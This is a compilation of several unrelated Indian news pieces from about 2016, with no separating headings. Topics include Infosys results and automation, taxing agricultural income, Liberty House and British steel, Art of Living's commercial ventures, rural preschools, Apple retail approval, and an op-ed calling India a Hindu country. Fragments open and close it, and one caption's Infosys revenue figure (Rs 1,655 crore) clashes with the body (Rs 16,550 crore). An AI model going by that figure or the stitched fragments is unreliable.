Initially, in 2011, when smartphones entered in India, homegrown players gained from their better offline distribution and lower pricing. As Chinese firms are now getting into offline distribution, too, pressure is building, Pathak said.

What local brands did to global brands a couple of years ago, the Chinese brands are doing to local Indian players.

The image is used for representational purpose only
Revenue rose 23.4 per cent to Rs 1,655 crore

India's second-largest software services major Infosys on Friday reported a 16.2 per cent growth in consolidated net profit at Rs 3,597 crore (Rs 35.97 billion) for the quarter ended March 31, 2016.

It had posted a net profit of Rs 3,097 crore (Rs 30.97 billion) in January-March of 2014-15, Infosys said in a BSE filing.

Revenue of the Bengaluru-based firm grew 23.4 per cent to Rs 16,550 crore (Rs 165.5 billion) in the March quarter compared with Rs 13,411 crore (Rs 134.11 billion) in the same quarter of 2014-15, it added.

On a sequential basis, Infosys' net profit rose 3.8 per cent from Rs 3,465 crore (Rs 34.65 billion) in the October-December quarter while revenue was up 4.1 per cent from Rs 15,902 crore (Rs 159.02 billion) during the same period.

Infosys managing director and CEO Vishal Sikka said: "Over the course of this year, we saw this strategy of bringing automation and innovation to our clients, on a foundation of learning and education, start to show results in the organic growth of our client relationships, in our win rates in large deals, and in the types of projects we are seeing in strategic areas where we never participated before."

In US dollars, Infosys net profit grew 7 per cent to $533 million in the March quarter from $498 million in the year-ago period while revenues rose 13.3 per cent to $2.44 billion from $2.15 billion a year ago.

For 2015-16, profit was up 1.9 per cent at $2.05 billion while revenues grew 9.1 per cent to $9.5 billion.

Infosys said it expects revenue for 2016-17 to grow in the range of 11.5-13.5 per cent in constant currency and 11.8-13.8 per cent in US dollar terms, in line with industry body Nasscom's estimate of 10-12 per cent for the fiscal.

The company said it has appointed Mohit Joshi, Ravi Kumar S and Sandeep Dadlani as presidents with effective immediate effect.

Cash and cash equivalents, available-for-sale financial assets, certificates of deposits and government bonds were Rs 34,468 crore (Rs 344.68 billion) as of March 31, 2016.

"Our growth trajectory improved in FY16 and we navigated the external business environment well. We will continue to focus on leveraging operational efficiency levers for consistent profitable growth," Infosys CFO MD Ranganath said.

During the quarter, cash generation was strong and Infosys managed a volatile currency environment effectively, he added.

Infosys said its quarterly annualised attrition rate has declined to 17.3 per cent in January-March of 2016.

For the March quarter, Infosys' total headcount stood at 194,044 as against 176,187 a year ago.

Net additions in the March quarter stood at 661 people.

"Employee attrition reduced further in Q4, and is reflective of increased engagement with our people all through the year, and our steps to make Infosys an exciting place for the world's best talent. We continue to reimagine our internal processes to increase organisational agility," Infosys COO U B Pravin Rao said.

The momentum of large deal wins continued this quarter and bookings were strong, he added.

Infosys Board has recommended a final dividend of Rs 14.25 per equity share for the financial year ended March 2016.

In fiscal 2016, over Rs 216 crore ($33 million) contributed by Infosys was utilised across projects related to healthcare, education, culture, destitute care and rural development, it said.

In addition, the company has spent Rs 86 crore ($13 million) crore on multiple initiatives including Chennai flood disaster relief, environment sustainability and conservation of natural resources aimed at long-term sustainability of ecosystem.

Photograph: Reuters
Infosys has a target of $20 billion revenue by the year 2020

Infosys was aggressively pushing automation that would see a reduction in its strength of reserved employees, its chief executive & managing director Vishal Sikka said on Monday.

As a part of Sikkas strategy to keep employees motivated, Infosys last year launched the Zero Bench initiative, an internal marketplace to provide people on the bench (people without assignments) short-term engagements in clients and internal projects.

Despite being here (at Infosys) for 18 months, I cant still find an answer around the idea of a bench, said Sikka, a former technology head at German software maker SAP.

Infosys has a target of $20 billion revenue by the year 2020 with an operating profit margin of 30 per cent and per employee revenue contribution of $80,000.

Addressing a conference organised by Kotak Institutional Equities in Mumbai, Sikka said the company would continue to drive the initiative.

At the end of the December quarter, Infosys staff utilisation was 80.6 per cent.

At 81 per cent utilisation it means 9,000 people are sitting on the bench.

"This is more than the number of application developers I had at SAP. That's also more than the number of engineers at Facebook.

"So I said unless you guys are building a Facebook, this is a colossal waste of human potential, said Sikka.

Since launching the Zero Bench initiative in July last year, the number of employees who have taken up jobs posted on the internal marketplace has now crossed 10,300.

At least 70 per cent of the people who were on the bench had now done at least one job through the portal, Sikka said.

The company is planning to give its clients access to this marketplace so that they can see the people who are on the bench and take advantage of that.

This is one attempt to address the disintermediation that is going on, said Sikka.

And there is a deep human dimension to it as well as people on the bench actually hate being on it.

Many of them are youngsters who come out of (our training institute in) Mysuru and they are raring to go when they go to the bench. Nobody wants them because they dont have experience, he added.

In order to achieve its vision 2020, Infosys has been aggressively embracing automation tools, technologies and platforms, apart from initiatives like Zero Distance.

Sikka said the initiative had helped release 1,100 people who had now been redeployed. The initiative covers all the 8,790 clients projects that are under way.

The shift to automation is inevitable.

There is no doubt that it is going to happen.

There is no doubt that it is already happening.

It is not to make the horses run faster and faster, it is to turn the horse-cart into an automobile, he added.

WARMS UP TO THE BENCH
Agricultural incomes can be taxed without hurting farmers, as a substantial section  the small and marginal ones  will remain outside the tax net simply because their incomes are likely to be below the basic exemption limit of Rs 250,000 per annum that is extended to all taxpayers in India, finds out Ishan Bakshi.

Politically, it is difficult terrain, but the revenue gained by taxing agricultural income could provide a significant boost to the finances of the states. (Agriculture is a subject on which the state legislates; hence taxation of agricultural income falls within the ambit of the states).

In 2007-08 alone, taxing agricultural income on a par with other incomes would have yielded revenue of around Rs 50,000 crore, according to Kavita Rao and D P Sengupta, economists at the National Institute of Public Finance and Policy. To put this figure in perspective, this amount, which was equivalent to 1.2 per cent of the countrys gross domestic product, would have boosted state revenues by roughly 19 per cent.

Farmers are a huge vote bank. Bowing to this political compulsion, governments dont dare touch this contentious subject for fear of being seen as anti-farmer. Instances of farmer suicides only weaken their resolve. But there are reasonable arguments to be made for taxing agricultural income.

For one, agricultural incomes can be taxed without hurting farmers who have borne the brunt of agrarian distress. This is because even if agricultural income is subject to income tax, a substantial section of the farmers - the small and marginal ones - will remain outside the tax net simply because their incomes are likely to be below the basic exemption limit of Rs 250,000 per annum that is extended to all taxpayers in India.

Widening the net

But just how many large farmers could potentially be brought under the tax net? Data from the India Human Development survey 2011-12, which is jointly carried out by the National Council of Applied Economic Research and the University of Maryland, shows that roughly 10.5 per cent of households own land in excess of 5 hectares.

Of these households, roughly a third own a motorcycle or a scooter, 7 per cent own a washing machine, while another 6 per cent own a car. The logic of exempting them from taxes is difficult to rationalise. Bringing these households into the tax ambit would help significantly to widen the tax base.

Two, under the current system, even companies investing in the agricultural sector are exempt from paying taxes. In their study, Rao and Sengupta had estimated that over 50 companies reported agricultural incomes of over Rs 100 crore (Rs 1 billion) in 2009-10, with their total agricultural income amounting to Rs 31,313 crore (Rs 313.13 billion).

This figure, while significant, may well be an underestimate. As many companies are likely to have integrated operations, their actual agricultural income may either be undisclosed or underestimated. For example, any company that produces cotton and uses it to produce yarn or fabric, is not likely to report the same as income from cotton. Thus by taxing agriculture, the corporate sector that has been heavily investing in agriculture would also be brought under the tax ambit, significantly boosting state revenues.

Three, as tax exemptions to the sector provide an easy avenue for evading and avoiding taxes, taxing agricultural incomes would plug this loophole. The scope through this route is immense. According to news reports, the total amount of agricultural income declared by taxpayers in returns filed up to November for exemption in the assessment year 2014-15 stood at a staggering Rs 9,338 crore (Rs 93.38 billion).

As many have speculated, it is possible that many of these individuals have used this route to mask some of their income accruing from other sources. Perhaps that is why Finance Minister Arun Jaitley is reported to have said that tax officials are investigating people who may have tried to evade income tax by misusing the tax exempt status of agricultural income.

But the problem is likely to persist unless this loophole is plugged. People will continue to take advantage of the system to pay no taxes unless they are taxed.

Four, the same logic of exempting agricultural income has been extended to income from transfer of land. This deprives the state of a lucrative revenue stream from land sales. According to a circular issued by the department of land resources in the Union ministry of rural development, there is no tax liability on the transfer of agricultural rural lands.

Urban agricultural land is also exempt from taxation if the land was used for agricultural purposes during two years immediately preceding the date of transfer. Thus under the current system, despite a sharp increase in land prices where even single land deals can turn individuals crorepatis overnight, the state cannot levy taxes on them.

Crorepatis in the making

Consider this: in 2014-15, the National Highway Authority of India (NHAI) is reported to have acquired 6,733 hectares of land at an average compensation of Rs 1.35 crore per hectares; thus, NHAI alone would have ended up creating up to 6,733 crorepatis (the actual number of crorepatis is likely to be lower as some farmers and other landowners may have sold more than 1 hectare). In 2015-16 NHAI had planned to acquire 10,000 hectares.

And this is just one arm of the government. The total land acquired across the country is likely to have been of a much higher magnitude. Land transfers alone would have created thousands of crorepatis overnight. Yet, most of them would not have been taxed.

If all these transactions were brought under the tax net, the number of crorepati households in the country would have shot up sharply, as opposed to the mere 10,000 increase from 53,017 in 2013 to 63,589 in 2014, according to Kotak Institutional Equities.

The case for taxing agricultural incomes, as economists point out, is based on the principle of fairness. Individuals earning above a particular threshold should be taxed, irrespective of their source of income. If fact, various committees, such as the one on agriculture taxation headed by K N Raj in 1975 and more recently the Parthasarathi Shome-led Tax Administration Reform Commission, have recommended taxing large farmers.

By bringing the sector within the tax ambit, not only will the tax base be widened, but the route used by individuals to evade taxes would also be closed.

To tax or not to tax

Under the current system, even companies investing in the agricultural sector are exempt from taxes

In 2014-15, the National Highway Authority of India acquired 6,733 hectares of land at Rs 1.35 crore per hectare, creating upto that many crorepatis

If land transfers are brought under the tax net, the number of crorepatis in India would shoot up significantly

Bringing such incomes under the ambit of taxes would also close routes used by individuals to evade taxes

Photographs: PTI
Gupta has expressed an intent to buy Port Talbot, Britains biggest steelworks

At 44, Liberty House owner Sanjeev Gupta is making headlines for going against the trend of bringing the curtains down on the British steel industry.



Last week, Tata Steel finally gave up on the UK units that came with the Corus acquisition in 2007, and said all options, including a potential divestment, were being weighed. The move has put 15,000 jobs at risk. The Indian steel major, however, is no oddball here; British steel industry is just a shade of what it used to be in its heydays in the 1970s when it was a steel-making superpower.



In October, Thailands SSI-owned Redcar steelworks decided to close down its UK units; the move affected some 2,000 jobs. Later that month, Caparo Industries filed for administration, threatening 1,700 jobs. But Sanjeev Gupta has stepped onto the scene as Britains white knight.



In November, hundreds of Caparos jobs were saved as Gupta bought Caparo Tubular Solutions, the core business of Caparo Industries. And thats just one of the many deals he has struck in recent months to save British steel companies.



Liberty House reopened a steel mill in Newport, in south Wales, last year after working on it for two years. Gupta has also bought two mills in Scotland that belonged to Tata Steel. But the big rescue is still in the making.



Gupta has expressed an intent to buy Port Talbot, Britains biggest steelworks. Though Liberty House is said to be approaching a turnover of $5 billion, according to its website, the Port Talbot deal, if it materialises, would certainly be an ambitious one.



The curious thing is that Gupta believes its possible to turn around the plant without any job losses. The strategy is to overhaul the steel-making process from an expensive blast furnace technology to the electric arc furnace route using scrap as raw material. This is baffling as electric arc furnace happens to be energy intensive.



Experts are raising questions about the feasibility of such a technology switch as also the financial muscle to pull through the acquisition, but Gupta, it appears, is willing to put in money and time to make it happen.



Those who know Gupta credit him for walking the talk. After all, when it comes to business, Gupta is no greenhorn. He comes from a successful business family that once owned Victor Cycles in Punjab.



In 1995, Gupta graduated from the University of Cambridge and it was during these years that he started his business from a student apartment. After trading various commodities in markets across Asia, Europe and Africa, his focus turned to growing the trade in steel, metals and raw materials from 2000 onwards.



Today, Liberty House operates from four financial hubs  London, Dubai, Singapore and Hong Kong and has interests in a wide range of strategic assets in Asia, Africa and the UK. It employs 2,000 people globally and the steel-making capacity in the group is in excess of three million tonnes.



The achievements sit lightly on his shoulders, says an Indian steel producer. But the bid to acquire Port Talbot would probably go down as the biggest contrarian bet in recent times.

Photograph: Stefan Wermuth/Reuters
Yoga, wellness, meditation, Ayurveda, software and toothpaste -- Sri Sri Ravi Shankar has successfully merged business with spirituality, reports Nikita Puri.

IMAGE: Art of Living now offers courses for those battling diabetes, hypertension, depression, anxiety and asthma. Photograph: Kind courtesy Art of Living

The World Culture Festival, held by the Art of Living Foundation on the expansive Yamuna floodplains in Delhi last month, gave much heartburn to environmentalists and the National Green Tribunal extracted a penalty of Rs 5 crore (Rs 50 million).

But that didn't stop national leaders, including never-on-the-same-page rivals Prime Minister Narendra Modi and Delhi Chief Minister Arvind Kejriwal, from showing up at the event and showering fulsome praise on Art of Living and its founder, Sri Sri Ravi Shankar.

If their presence was acknowledgment of Sri Sri's clout (over 370 million across 155 countries subscribe to his vision of a violence- and stress-free society; Sri Sri has 1.43 million followers on Twitter, though he follows nobody), the scale of the event showcased his organisation's financial firepower.

It is estimated that 3.5 million attended the function to see 37,000 artistes from across the world perform over three days. Top-notch contractors were hired first to put up the mini-city and then to dismantle it. It was a grand show by any standard.

The festival is estimated to have cost Art of Living Rs 25.63 crore (Rs 256.3 million). Entry was free, there were no sponsors; it was all money spent on a cause.

Then, recently, readers in Delhi woke up to a full-page advertisement for Ojasvita, a malt drink from Sri Sri Ayurveda, in The Times of India, easily the most expensive real estate in the country. It was an announcement for Bournvita and Horlicks to watch out.

It takes a confident man to challenge the likes of Mondelez (earlier Cadbury) and GlaxoSmithKline. Analysts have started to talk of Sri Sri Ayurveda as the new disruptor in the market after Baba Ramdev's Patanjali Ayurved.

IMAGE: Vishalakshi Mantap, a five-tiered, lotus-shaped edifice named after Sri Sri's mother. Photograph: Kind courtesy Art of Living

Sri Sri's headquarters, the Art of Living International Centre, is located at Udayapura in the hilly terrain outside Bengaluru. The ashram, spread over 65 rocky and verdant acres, is surrounded by a wall, but its gates are open for all.

The security is tight: Private guards keep a sharp eye on visitors. Men in white robes, with long hair and beards, lookalikes of their leader, move around busily.

Near the entrance is an amphitheatre that can seat 20,000 people. Lions sculpted in white marble watch over a lake that has a family of swans swimming in it. Well-tended pathways intersect the campus like abstract lines on a canvas.

A short distance away is Vishalakshi Mantap, a five-tiered, lotus-shaped edifice named after Sri Sri's mother. It has a glass dome, which Art of Living claims at 15 feet and three inches is the tallest kalash in the whole of Asia, and its white marble floor has red cushions placed here and there.

This is where most Art of Living courses take place. It's these courses that keep the ashram running. According to documents filed by Art of Living's American chapter, the foundation earned $5.5 million nine years ago, out of which $3.5 million came from course fees alone.

The number of participants has increased manifold since then, especially with the introduction of programmes suited to contemporary lifestyle: Art of Living now offers courses for those battling diabetes, hypertension, depression, anxiety and asthma.

IMAGE: Prime Minister Narendra Modi greeted by Art of Living founder Sri Sri Ravishankar on the opening day of the three-day long World Culture Festival on the banks of the Yamuna in New Delhi. Photograph: PTI

The Living Well course is organised in batches of 15 to 20 for eight days, and costs upwards of Rs 21,500, depending on accommodation choices. For corporate houses, Art of Living offers to enhance skills at the workplace under its APEX (Achieve Personal Excellence) programme. Reliance Industries, Wipro, JPMorgan and Google are some of the companies that have participated in it.

Lately, the law of perfect competition seems to be catching up with Sri Sri: Swami Sukhabodhananda's Prasanna Trust, Sadhguru Jaggi Vasudev's Isha Foundation and Yogi Ashwini's Dhyana Foundation too now offer wisdom on how to ratchet up the spiritual quotient at the workplace.

Just the way his guru Mahesh Yogi copyrighted Transcendental Meditation, which won him followers from all over (including The Beatles), Sri Sri has patented Sudarshan Kriya, a breathing technique. This is at the core of most of Art of Living courses, including the most-recommended Happiness Programme. Depending upon room-sharing options for a three-day stay, it can cost Rs 3,600 per person.

Options for other courses, such as the silence and various yoga programmes, start from Rs 2,700 if you pick dormitories for your stay in the ashram.

On an average, at least 1,000 people stay in the ashram for weekly programmes, says a teacher in the ashram. Some courses also give you the flexibility to commute daily from the city. Over the years, millions from India and abroad have come to the ashram to attend the various courses on offer; these courses are also offered across the globe at different centres.

Apart from healing troubled souls, Art of Living offers a whole range of FMCG products: Candy, ghee, toothpaste, beverages, tea, hair oil, shampoo, gel, cream, soap and spices.

IMAGE: Artists rehearse on the eve of the World Peace Festival in New Delhi. Photograph: PTI

It started when Sri Sri Ayurveda was formed in 2003 to make Ayurveda products. Sri Sri has passionately advocated Ayurveda's health benefits for long. Six years ago, he had claimed that it can cure swine flu: five or six dashes of Shakti Drops, two Immugen tablets, and two tablets of Pranda Gutika, all made inside the ashram, could do the trick when combined with meditation.

Ayurveda got a booster shot when Ramdev's Patanjali burst into the FMCG market, selling everything from biscuits, ghee, toothpaste and choco flakes to namkeen, instant noodles and juices. Indians, who have always valued traditional and natural products, gleefully lapped it all up. The big players could only squirm with unease as Ramdev with yogic dexterity snatched the market away from them.

A reed diffuser set. Photograph: Kind courtesy Art of Living via Facebook

Sri Sri was quick to join the bandwagon. "They've stepped up on marketing in the last six months. Whatever they have done in 13 years (since Sri Sri Ayurveda's inception), they want to do four times of that in one year," says Abneesh Roy, author of a new report on Sri Sri Ayurveda by Edelweiss Securities.

Sri Sri Ayurveda's strategy is akin to that of Patanjali. Thus, its choice of products, and their positioning, looks similar to Patanjali's, though its products are priced at a slight premium to Ramdev's brand.

Sri Sri was not available for comment. Art of Living office-holders chose to answer a few questions via email. They claim that the ingredients for Sri Sri Ayurevda's herbal products are sourced from areas 'best suited for cultivating specific herbs.'

Its chief marketing officer, Tej Katpitia, says: 'The brand (Sri Sri Ayurveda) is synonymous with authenticity, efficacy and novelty.'

According to its website, employees 'meditate daily to ensure that products are developed in the most positive and energetic atmosphere ever.'

Is it working? On Amazon, customers have found Sri Sri Ayurveda's sunscreen to be 'non-sticky, with a pleasant fragrance.' On Art of Living's official online portal, Sattvastore.com, customers have praised its chyawanprash for its 'honey-taste.' All reviews indicate the products' appeal lies in their Ayurveda formulation.

Just like Ramdev leveraged the Aastha television channel to good effect, Anandam Active, a Dish TV channel that showcases Sri Sri's teachings, can be effectively used to advertise Sri Sri Ayurveda products, says the Edelweiss report. Available at Rs 59, Anandam Active reaches a large spiritually-inclined audience, even in the remotest part of India, it adds.

The key difference is distribution. Every yoga camp held by Ramdev serves as an outlet for his brands, suggests brand analyst Harish Bijoor. Ramdev's products have been available in small-town groceries for long.

And last year, he tied up with Kishore Biyani, the king of modern retail, to sell his products. This has given him a huge lead, though Biyani has recently expressed his interest to sell Sri Sri Ayurveda products too.

To close the gap, Sri Sri Ayurveda plans to more than quadruple its stores from 600 now to 2,500 by 2017. One such store is located behind Vishalakshi Mantap at the ashram.

IMAGE: From just yoga courses, the organisation now offers spiritual guidance. Photograph: Kind courtesy Art of Living via Facebook

Young and old Art of Living followers, many of them Portuguese, huff and puff as they negotiate the steps on the hill that lead to this store that is roughly the size of a badminton court. While Sri Sri Ayurveda's offline stores are usually called Divine Stores, this one is called Sattva Store, a name reserved for its shopping portal, Sattvastore.com

As the eye moves across the store, it gives a quick overview of Art of Living's prosperity over 35 years: From just yoga courses, the organisation now offers spiritual guidance via tapes, consumer goods, and Art of Living-themed gift articles. There's also a book of stories from Sri Sri's childhood in comic format from Sri Sri Publications Trust, the publisher and distributor of Art of Living's media content.

Also in the store are clutches, coffee mugs, telephone directories, kurtas and T-shirts that carry slogans about 'fixing the world, peace by peace.' Among incense sticks, floating aromatic candles and organic seeds, there are calendars with Sri Sri's pictures for all 12 months of the year. Key-rings with his picture come for Rs 25; the bigger, framed pictures can cost up to Rs 3,500.

When Sri Sri begins the satsang with a quick round of meditation, all else at the ashram comes to a standstill. Photograph, courtesy: Art of Living

At the ashram, where all conversations begin and end with Jai Guru Dev (or JGD, if you are texting or are on Facebook), there's a mandap for weddings conducted under Art of Living Matrimony services. There's a fee for the service, but you could get a discount if you have taken one of the Art of Living courses on offer.

Annually, 60 to 75 weddings take place at the ashram. "People from several countries including Iran, Pakistan, Brazil, Argentina and America have chosen to marry at the ashram," says an Art of Living office bearer. Alongside weddings, the Vaidic Dharma Sansthan Trust conducts puja at homes.

A majority of Art of Living's FMCG products are made by Sumeru Ayurveda. It is a part of the Sumeru group of companies with N Arvind Varchaswi, Sri Sri's nephew, at the helm. Varchaswi's mother Bhanumati Narsimhan, or Bhanu Didi, as she is popularly called, is Sri Sri's sister.

Harish Ramachandran, the CEO of Sumeru Software Solutions, was once a full-time teacher with Art of Living, and took up the IT business only because he "realised the company's objective was to support Art of Living's service initiatives."

Apart from software, it provides information security and has of late started making apps and service suites for political parties, sales stalwarts and retail stores.

With customers in more than 40 countries, Sumeru Software is responsible for Art of Living's digital presence, Ramachandran says. Sumeru's dedication to Art of Living is visible on its website too; thus, Sumeru Holidays, which offers packages (flights, cabs, hotels) across the globe, even had special packages for the World Culture Festival.

And with an office at the entrance of the ashram, Sumeru Travels offers cab services from the city to the ashram. Sri Sumeru Realty, which started in 2005, seeks to 'improve the quality and economy of Art of Living's construction projects and to translate its values into a tangible lifestyle option.'

In addition, Art of Living runs a spread-out network of educational institutes with free schools as well as regular educational institutes.

It's sundown at the ashram. Residents wave flags of their countries as they wait for Sri Sri. Soon, Sri Sri floats on to the stage, holding two long-stemmed roses. Behind him, Vishalakshi Mantap, lit from inside, lights up the dark sky. And when Sri Sri begins the satsang with a quick round of meditation, all else at the ashram comes to a standstill.
An alumnus of IIT-Madras, Umesh Malhotra is successfully helping run over 300 primary schooling centres in rural India and is planning on more. Read on to find out how he did it!

Almost two decades ago, Umesh Malhotra (pictured left), an IITian working in California became aware of the strong focus and impact of books on children at a very early age, thanks to US activity-based libraries.

When he decided to return to India, he promised his seven-year-old son that he will recreate a similar, more novel experience not just for him but for many more children.

However, things were different when he arrived.

Umesh Malhotra, founder of Hippocampus Learning Centres, braced all challenges for over a decade and continued to refine his model. From urban libraries to rural pre-primary school centres, Umesh has come a long way.

Today, he runs 285 primary school centres in Karnataka alone, benefitting over 11,000 children.

In another three months, he will be opening 30 new centres and venturing into a new state -- Maharashtra.

In 2003, Umesh built the first library in a sprawling 5,600-sq ft plot he owned in Koramangala, Bengaluru.

The library boasts of an envious collection of children's movies and hosts reading sessions and other fun activities such as treasure hunts, movie screenings, quizzes and trips.

Three years later, after a conversation with Rohini Nilekani (wife of Nandan Nilekani) and visits to a few rural schools, Umesh decided to expand his reach by including the bottom of the pyramid.

His ultimate aim was to be able to motivate every child, irrespective of geographical location, and inculcate the habit of reading without force or intervention.

So, he started the 'Grow by Reading' programme, which was designed to address different reading interests, keeping in mind varying reading proficiencies as well.

The intervention has identified six reading levels and every child was assessed and assigned a certain level, allowing them to choose books that they can easily read as well as gradually progress by incorporating higher level books.

For the first seven years, Umesh focussed on building libraries right from the 'Motorcycle' to the 'Bicycle' segment (rich to poor).

But was it enough? Definitely not.

According to Pratham's study, 45 percent of the children between the age group of seven and 10 from government schools and 24 percent in private schools can't read words, leave alone sentences, with ease.

And in an economy where English is slowly emerging as the language of choice, it's only natural for parents to have this as one of their top expectations -- one which currently isn't met in the Tier III and IV markets.

Umesh started toying with the idea of setting up preschools for children across rural India.

He began experimenting again -- with pre-primary schools, after-school tuitions for Class I to V, and a programme for Class IX and X students to help them pass their board exams.

But the results of the preschool learning centres were the most effective. So Umesh opened 17 Hippocampus Learning Centres in 2011 in Mandya, Karnataka. He affirms, "the idea was to open pre-primary schools in areas which one can't even find on the map, the Tier IV markets."

He further adds, "And the second crucial aspect was to train and employ people from this region, primarily women in order to give them the benefit of organised employment."

According to Umesh, this is a market that makes up for 60 percent of India's population. Yet, the irony is that it's most neglected as for development.

Today, Umesh runs over 300 centres, with 700 teachers who benefit 11,000 preschoolers.

Umesh's preschool programme is a three-year-long programme designed for 2.5- to 6-year-olds, wherein they are introduced to English and Maths. He says, "In rural India, education begins only in the first grade. The government-run anganwadis act as day-care centres and don't have outcome-based learnings at the core of it. HLC tackles this by getting preschoolers ready to enter the formal education system."

HLC's internal impact assessment has shown that by the end of the three-year programme, at least 85 percent of the children are able to read and write simple sentences in English and Kannada as well as perform single-digit Maths problems.

Umesh also has a training academy for teachers.

But, the most interesting and powerful aspect of HLC is its scale -- from 17 to 285 centres in less than five years.

It's been well-established that HLC has achieved impact in terms of learning outcomes as well as generating employment for rural women. But the biggest challenge ahead was scale. After all, Umesh has set himself on 'Mission Finland' -- to bring preschool education to as many students in India as the population of Finland.

So, he started the partnership model.

He says, "There are enough individuals in our nation who are thinking about the prosperity of their villages, but have little support. We leverage on these individuals by hand-holding them into rural entrepreneurship in a profitable, sustainable and scalable fashion -- keeping outcome-based learning at the heart of it."

Nagendra Mali from Karnataka's Haveri village is one such entrepreneur.

He has over two decades of experience in micro-financing and was also running a public school for almost nine years. But when he heard of Hippocampus, he decided to add the preschool wing to his school and after seeing its impact of it, he decided to start five more schools.

He says, "In our taluk there is only one micro-finance branch but Hippocampus has eight branches. This is a testimony of the untapped potential and demand in the rural market."

Nagendra has managed to open two schools as of now and hopes to continue expanding the HLC network.

The cost of opening a preschool franchisee ranges between Rs 2 to 2.5 lakh, wherein HLC helps with teacher recruitment and training, knowledge, expertise and assessment. The fees ranges between Rs 3,000 and 8,000 per annum depending upon the level.

According to CRISIL, the preschool industry has been growing at a five-year CAGR of 20 percent and was standing at Rs 99 billion last year.

By 2020, the estimate is that this industry will be worth Rs 220 billion. However, Tier IV markets remain a challenge and HLC has been able to scale up as the modest input costs has been a prime factor.

Competitors such as Euro Kids, Kidzee, Shemrock and other chain of play schools require anywhere between Rs 10 to 20 lakh to set up one centre.

Furthermore, there are a host of restrictions in place, such as having a minimum of 1,000 to 2,000 sq ft space, expensive monthly/quarterly fees, revenue-sharing model, branding costs etc. This makes it difficult to start generating profits early on.

HLC has seen that on an average, it takes a year to break-even. By the second year, entrepreneurs are on their way to making profits and in the third year, "they are soaring high."

Today, 65 percent of HLCs are making profits, a sure sign that the model is working.

He says, "Eventually, we are looking at 15 to 20 percent of the children of a village to join HLC."

The company wants to expand to 5,000 centres in another five years. But beyond that, Umesh wants to break a myth,

"I want everyone to really believe that high-quality education can be provided to the poorest communities at affordable costs."
The company sells its products through Apple-owned retail stores in countries including China, Germany, the US, the UK and France.

The government is likely to exempt iPhone and iPad maker Apple from mandatory local sourcing rule, a move which would pave the way for tech giant opening single-brand retail stores in the country.

The company had given a detailed presentation to a committee headed by DIPP Secretary Ramesh Abhishek on April 19, on its products, technology, innovations and camera.

By early next week, the Department of Industrial Policy and Promotion (DIPP) would send the proposal for final approval to Finance Ministry, sources said.

"The panel has looked into the detailed proposal. The committee feels that it is a fit case for exemption of the mandatory sourcing norms," they added.

The US-based company has sought approval from the government on setting up single-brand retail stores in the country.

As per the foreign direct investment (FDI) norms, the government may relax the mandatory local sourcing norms for entities undertaking single-brand retailing of products having state-of-the-art and cutting edge technology and where local sourcing is not possible.

The government had set up a committee to decide whether a product is state-of-the-art and can be eligible for exemption from the mandatory local sourcing applicable for FDI single brand retail trading.

At present, 100 per cent FDI is permitted in single-brand retail sector but companies are required to take FIPB permission if the limit exceeds 49 per cent.

The company sells its products through Apple-owned retail stores in countries including China, Germany, the US, the UK and France.

Apple has no wholly-owned store in India and sells its products through distributors such as Redington and Ingram Micro.

Chinese smartphone maker Xiaomi has also submitted an application to open stores in the country.
Why not agree that, yes, India is a Hindu country though not all Indians are Hindus?

And that for those who are not, our Constitution is sturdily secular and always will be, says Karti Sandilya.

Is India a Hindu nation?

In most other countries, a question of this nature would be straightforward enough. If some 85 per cent of the population of a country is classified as Hindu, then surely it would be a Hindu country.

Yet, in India, things are never so simple. Here, the question elicits impassioned (violent?) -- and diametrically opposite -- responses.

For many in the Westernised elite, the question itself is an affront to their vision of a tolerant and secular country, home to many faiths and hospitable to many more.

For many Indians, however, their country is the cradle of Hindu civilisation and culture and all who call it home are heirs to this heritage, whatever be their religious beliefs.

This clash of opposing views of India is not recent; it has bedevilled political discourse ever since the country became independent. This was, perhaps, to be expected in the aftermath of a bloody partition, predicated on the conviction of many -- though not all -- Muslims that they could not co-exist with Hindus in one country. Since 1947, then, India has been wrestling with this existential issue.



In the first few decades, the dominant ideology favoured the view that India was essentially a secular country, with little thought given to the absurdity of such a proposition. (If you doubt that last statement, name me another country that perceives itself thus).

But the rise of the Bharatiya Janata Party, on the back of the Ram Janmabhoomi movement, from two seats in the Lok Sabha in 1984 to leadership of the National Democratic Alliance coalition, put paid to that pretence (for that is all it ever was). Now that the BJP is once again the party of government, the question was bound to be debated afresh.



It has not taken long for the controversy to be revived. Within months of the 2014 Lok Sabha election, elements of the Sangh Parivar made statements to the effect that all Indians are Hindus. Predictably, this drew horrified rejoinders from newspaper columnists and op-ed writers, who -- disingenuously or otherwise -- take such statements literally.

Since then, debate has engaged the lunatic fringe at one extreme of the political spectrum and the liberal chattering classes at the other. Each sees one part of the picture, yet misses the whole. For surely, the reality is clear enough: India is not a secular country; it is, instead, a Hindu country with a secular Constitution.

What does this mean?

Each of its citizens is free to practise his or her faith (or non-belief), yet each is also heir to the predominantly Hindu culture and ethos of this land. Its distinguishing feature is syncretism, the open-minded belief that no opposing school of thought is entirely without merit. Better, therefore, to identify the kernel of truth in a rival belief system than to reject it altogether.

Hindu culture, thus, borrowed from all the invaders who came to the subcontinent and stayed (or left). Yet who can doubt that its bedrock remains quintessentially Hindu? And that all Indians -- be they Hindu or not -- bear the stamp (or should) of this uniquely tolerant outlook and way of life.

India's secular Constitution -- itself a manifestation of its Hindu character -- ensures, nay guarantees, that every citizen can profess whatever faith or non-faith he or she chooses. The government shall have no interest in a citizen's religious choices nor shall it seek to promote any religion.

But that does not mean that we should be shy of acknowledging that India is a Hindu country, in the sense described here. Indeed, we should affirm this without restraint, since the culture of a country can be quite distinct from its majority religion.

Just take a look at Indonesia, a Muslim-majority country that has a statue of Krishna and Arjuna in an important square in Jakarta and which recently installed a statue of Saraswati in front of its embassy in Washington, DC.

When the world's largest Muslim-majority country can do this as the most natural thing in the world, yet the world's largest Hindu one cannot, there is surely something fundamentally wrong.

Or, nearer home, consider Bangladesh, whose national anthem was composed by Rabindranath Tagore and is proud of its Bengali culture. (In passing, I recall that when I lived in Argentina, Indians were -- and may be still are -- called Hindues, not Indios. The latter word referred to the original inhabitants of South America, most of whom did not survive the coming of the Europeans.)

So, it's past time to lower the political temperature on this needlessly emotive question of Indian identity. Why not agree that, yes, India is a Hindu country though not all Indians are Hindus? And that for those who are not, our Constitution is sturdily secular and always will be.

With that out of the way, can we concentrate on the very real task of enabling all Indians to aspire to decent lives?

IMAGE: The evening arti on the banks of the Ganga. Photograph: Ahmad Masood/Reuters

Karti Sandilya is a former Indian Foreign Service officer.
Most of the people who died had come to attend a marriage function.

